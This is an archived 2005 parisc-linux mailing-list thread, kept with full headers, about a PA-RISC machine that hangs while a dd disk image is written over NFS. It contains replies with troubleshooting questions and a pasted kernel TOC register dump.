	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2w+vYptUeSEke76WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22942

I've been using nfs to try and save backup images from my B132L
(2.6.12-pa2) with a simple:
  dd if=/dev/sda of=/mnt/bulk/sda-image bs=512

Every time the machine hangs solid - the heartbeat LED even stops.
Usually it hangs after around 1 to 2 gigs have been transferred.  There
are no log entries at the time of the hang.  IT just... stops.

I'm using a 3c905 PCI ethernet card rather than the stock 10 megabit
LASI on board.

I'm wondering if this might be an issue with the ethernet driver when
compiled for PARISC.  I've tried very large ftp transfers and can't
reproduce the problem that way.

I've also tried NFS over TCP and  tried reducing the rsize/wsize below
1500 bytes to prevent IP fragmentation.  Neither of which seem to help.

Are there any known NFS issues right now?  Any ideas?  Suggestions?

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Tue, 19 Jul 2005 18:36:15 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <200507191836.15414.mszick@morethan.org>
References: <42DD6A7F.8090706@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623856 15711 80.91.229.3 (22 Nov 2014 02:37:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jul 2005 23:36:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 20 Jul 2005 01:36:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0CA87D699;
	Tue, 19 Jul 2005 17:36:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26069-01; Tue, 19 Jul 2005 17:36:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 555C87D68B;
	Tue, 19 Jul 2005 17:36:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A65E7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 17:36:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24677-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 17:36:18 -0600 (MDT)
Original-Received: from mail21.sea5.speakeasy.net (mail21.sea5.speakeasy.net
	[69.17.117.23])
	by free.linux.hp.com (Postfix) with ESMTP id B932D7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 17:36:18 -0600 (MDT)
Original-Received: (qmail 7388 invoked from network); 19 Jul 2005 23:36:17 -0000
Original-Received: from tx-67-77-197-104.dyn.sprint-hsd.net
	(mszick@morethan.org@[67.77.197.104])
	(envelope-sender <mszick@morethan.org>)
	by mail21.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted
	SMTP
	for <parisc-linux@lists.parisc-linux.org>; 19 Jul 2005 23:36:17 -0000
User-Agent: KMail/1.7.2
In-Reply-To: <42DD6A7F.8090706@excelcia.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1+uvYsppeSEkQr6WZHQhaXN1IGRvb4Db
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22943

On Tue July 19 2005 16:02, Kurt Fitzner wrote:
> I've been using nfs to try and save backup images from my B132L
> (2.6.12-pa2) with a simple:
>   dd if=/dev/sda of=/mnt/bulk/sda-image bs=512
> 
> Every time the machine hangs solid - the heartbeat LED even stops.
> Usually it hangs after around 1 to 2 gigs have been transferred.  There
> are no log entries at the time of the hang.  IT just... stops.
> 
> I'm using a 3c905 PCI ethernet card rather than the stock 10 megabit
> LASI on board.
> 
> I'm wondering if this might be an issue with the ethernet driver when
> compiled for PARISC.  I've tried very large ftp transfers and can't
> reproduce the problem that way.
> 
> I've also tried NFS over TCP and  tried reducing the rsize/wsize below
> 1500 bytes to prevent IP fragmentation.  Neither of which seem to help.
> 
> Are there any known NFS issues right now?  Any ideas?  Suggestions?
> 
Questions/Suggestions only.

Any hints in the log of the receiving (nfs server) side?

Any portion of /dev/sda mounted somewhere?

Is the /mnt/bulk/sda-image mount point on /dev/sda* ?
That is, is there a drive in common with '/', '/mnt', '/dev'
and the entire device '/dev/sda' ?

Can you achive your goal with a file copy rather than
a disk image?  Have you tried running rsync?

Can you successfully transfer (dd) a single file larger than
your trouble point size when trying to transfer the entire device?

Have you tried a blocksize != 512 with the dd command?
Perhaps an even sub-multiple of the packet size so that the
network stack does not have to fragment the dd blocks.

Mike
> 	Kurt.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Tue, 19 Jul 2005 21:04:25 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20050720010425.GC24060@roadwarrior.mcmartin.ca>
References: <42DD6A7F.8090706@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623856 15718 80.91.229.3 (22 Nov 2014 02:37:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 01:06:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 20 Jul 2005 03:06:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DDD87D677;
	Tue, 19 Jul 2005 19:05:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26069-09; Tue, 19 Jul 2005 19:05:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70AC67D683;
	Tue, 19 Jul 2005 19:05:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 194057D670
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 19:05:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26003-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 19:05:50 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 719857D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 19:05:50 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 9267017050;
	Tue, 19 Jul 2005 21:05:49 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16407-08; Tue, 19 Jul 2005 21:05:38 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5F2811707B; Tue, 19 Jul 2005 21:05:38 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x175314691-52656d6f746546617454697265-494e424f582e4f7574626f78: 1121821504-0338717671648-v4.0.10
Content-Disposition: inline
In-Reply-To: <42DD6A7F.8090706@excelcia.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LsavYi1qeSEkQb6WZHQhaXN1IGRvb4BB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22944

On Tue, Jul 19, 2005 at 03:02:55PM -0600, Kurt Fitzner wrote:
> I'm using a 3c905 PCI ethernet card rather than the stock 10 megabit
> LASI on board.
> 
> I'm wondering if this might be an issue with the ethernet driver when
> compiled for PARISC.  I've tried very large ftp transfers and can't
> reproduce the problem that way.

TOC dump, IIR, IOAQ/IASQ locations? Come on people... It's really hard
to even begin to figure out what's wrong if no debugging information
has been provided...

http://www.parisc-linux.org/faq/kernelbug-howto.html

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Tue, 19 Jul 2005 23:31:13 -0400 (EDT)
Lines: 197
Approved: news@gmane.org
Message-ID: <200507200331.j6K3VD3v001086@hiauly1.hia.nrc.ca>
References: <20050720010425.GC24060@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623857 15721 80.91.229.3 (22 Nov 2014 02:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 03:31:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 20 Jul 2005 05:31:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B24617D63F;
	Tue, 19 Jul 2005 21:31:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26635-10; Tue, 19 Jul 2005 21:31:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B09467D643;
	Tue, 19 Jul 2005 21:31:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA29D7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 21:31:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26635-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 21:31:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 37AD47D684
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 21:31:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6K3VEnV001088; Tue, 19 Jul 2005 23:31:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6K3VD3v001086;
	Tue, 19 Jul 2005 23:31:13 -0400 (EDT)
In-Reply-To: <20050720010425.GC24060@roadwarrior.mcmartin.ca> from "Kyle
	McMartin" at Jul 19, 2005 09:04:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /6CvYiEKeSEkWL6WZHQhaXN1IGRvb4A5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22945

> TOC dump, IIR, IOAQ/IASQ locations? Come on people... It's really hard
> to even begin to figure out what's wrong if no debugging information
> has been provided...

2.6.8.1-pa11 is quite stable (12 days up and numerous GCC builds).
As Joel has indicated, this can be pushed a bit further.  However,
2.6.10 and later are not stable.  Randolph and James resolved one
of the major bugs (fp register bug).  However, this wasn't sufficient
to stabilize 2.6.12 under load.  I spent considerable time trying
to isolate the change(s) that introduced the instability but this
is difficult and time consuming.

It might help to have a "stable" branch that is maintained longer
than is current practice.  At a minimum, the current tree needs to
be slushed until the main problems are resolved.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

PS: TOC on Linux gsyprf11.external.hp.com 2.6.11-pa4 #5 SMP Sat May 21 19:09:19 PDT 2005 parisc64 GNU/Linux

Proc 0 r2 -> return from call to __brelse in journal_put_journal_head
Proc 0 IIA Offset -> location in __brelse

Proc 1 IIA Offset -> to final loop in panic.

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  000000001055f4c0  000000001023b3f4  0000000008108a24
04-07  0000000010552cc0  0000000204228918  0000000010517a40  000000013a7a0868
08-11  0000000000000001  0000000204228918  00000000ff85fc00  0000000000001000
12-15  0000000000000001  0000000013566ee8  0000000000000000  0000000204228918
16-19  0000000000000001  0000000000080000  0000000010553cc0  0000000000000000
20-23  0000000010517a40  0000000008108a24  000000000800000f  0000000008108a24
24-27  0000000000000001  00000000ffee4400  0000000204228930  0000000010552cc0
28-31  000000013a7a0868  00000000f8688a80  00000000f8688b30  0000000000000040


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000010c02  0000000000000000  00000000000000c0  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000106000  fff0000000000000
16-19  0002b96338e536de  0000000000000000  00000000101b68dc  0000000008000240
20-23  0000000000000000  0000000000000000  00000000080c000e  e200000000000000
24-27  00000000004cc000  00000000a4152000  0000000000041020  0000000041198b80
28-31  5555555555555555  5555555555555555  00000000f8688000  000000001051c000

Space Registers 0 - 7
00-03  04300800          04300800          00000000          04300800
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x00000000101b68d4
CPU State                    = 0x9e000001



-----------------  Processor 1 HPMC Information - PDC Version: 42.09  ------

   * * * No valid timestamp * * *


	  No HPMC chassis codes logged

	  General Registers 0 - 31
	  00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


	  Control Registers 0 - 31
	  00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

	  Space Registers 0 - 7
	  00-03  00000000          00000000          00000000          00000000
	  04-07  00000000          00000000          00000000          00000000


	  IIA Space (back entry)       = 0x0000000000000000
	  IIA Offset (back entry)      = 0x0000000000000000
	  Check Type                   = 0x00000000
	  CPU State                    = 0x00000000
	  Cache Check                  = 0x00000000
	  TLB Check                    = 0x00000000
	  Bus Check                    = 0x00000000
	  Assists Check                = 0x00000000
	  Assist State                 = 0x00000000
	  Path Info                    = 0x00000000
	  System Responder Address     = 0x0000000000000000
	  System Requestor Address     = 0x0000000000000000


	  Floating Point Registers 0 - 31
	  00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


	  Check Summary                = 0x0000000000000000
	  Available Memory             = 0x0000000000000000
	  CPU Diagnose Register 2      = 0x0000000000000000
	  CPU Status Register 0        = 0x0000000000000000
	  CPU Status Register 1        = 0x0000000000000000
	  SADD LOG                     = 0x0000000000000000
	  Read Short LOG               = 0x0000000000000000



	  -----------------  Processor 1 LPMC Information ------------------

	  Check Type                   = 0x00000000
	  IC Parity Info               = 0x00000000
	  Cache Check                  = 0x00000000
	  TLB Check                    = 0x00000000
	  Bus Check                    = 0x00000000
	  Assists Check                = 0x00000000
	  Assist State                 = 0x00000000
	  Path Info                    = 0x00000000
	  System Responder Address     = 0x0000000000000000
	  System Requestor Address     = 0x0000000000000000



	  -----------------  Processor 1 TOC Information -------------------

	  General Registers 0 - 31
	  00-03  0000000000000000  00000000103c5ca0  000000001014c628  00000000fe38c620
	  04-07  0000000010552cc0  00000000046db5d4  00000000105cc360  00000000105ccfb0
	  08-11  0000000000000018  0000000010424050  0000000000000001  00000000bd893300
	  12-15  0000000000000000  00000000ff85fc00  0000000000000008  00000000fe38c288
	  16-19  00000000fe38c620  00000000ff85b400  0000000000000000  0000000000024089
	  20-23  0002b96357cd9ae6  000000000009eb10  000000000000ff00  fffffff0f0430ed8
	  24-27  0000000000000520  0000000000000000  00000000046db5d4  0000000010552cc0
	  28-31  0000000000000000  00000000fe38cc20  00000000fe38cc50  0203010200802004


	  Control Registers 0 - 31
	  00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
	  08-11  000000000000e486  0000000000000000  00000000000000c0  0000000000000038
	  12-15  0000000000000000  0000000000000000  0000000000106000  0000000000000000
	  16-19  0002b96357d799de  0000000000000000  000000001014c67c  00000000020008b3
	  20-23  00000000103403b8  00000000e338cba8  000000ff0804fd0f  8140000000000000
	  24-27  00000000004cc000  00000000d153a000  0000000000041020  000000f0f0165650
	  28-31  000000f0f0165650  5555555555555555  00000000fe38c000  0000000000008020

	  Space Registers 0 - 7
	  00-03  03921800          00000000          00000000          03921800
	  04-07  00000000          00000000          00000000          00000000

	  IIA Space (back entry)       = 0x0000000000000000
	  IIA Offset (back entry)      = 0x000000001014c680
	  CPU State                    = 0x9e000001


	  --------------  Memory Error Log Information  --------------

	  Bus 0 Log Information


	     No errors logged for this bus


	     ------------  I/O Module Error Log Information  ------------


		No I/O module errors logged


		Service Menu: Enter command >
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Wed, 20 Jul 2005 05:57:19 +0300
Lines: 132
Approved: news@gmane.org
Message-ID: <20050720035719.D16AD365915@mail.esiee.fr>
References: <200507200331.j6K3VD3v001086@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623857 15723 80.91.229.3 (22 Nov 2014 02:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:37 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
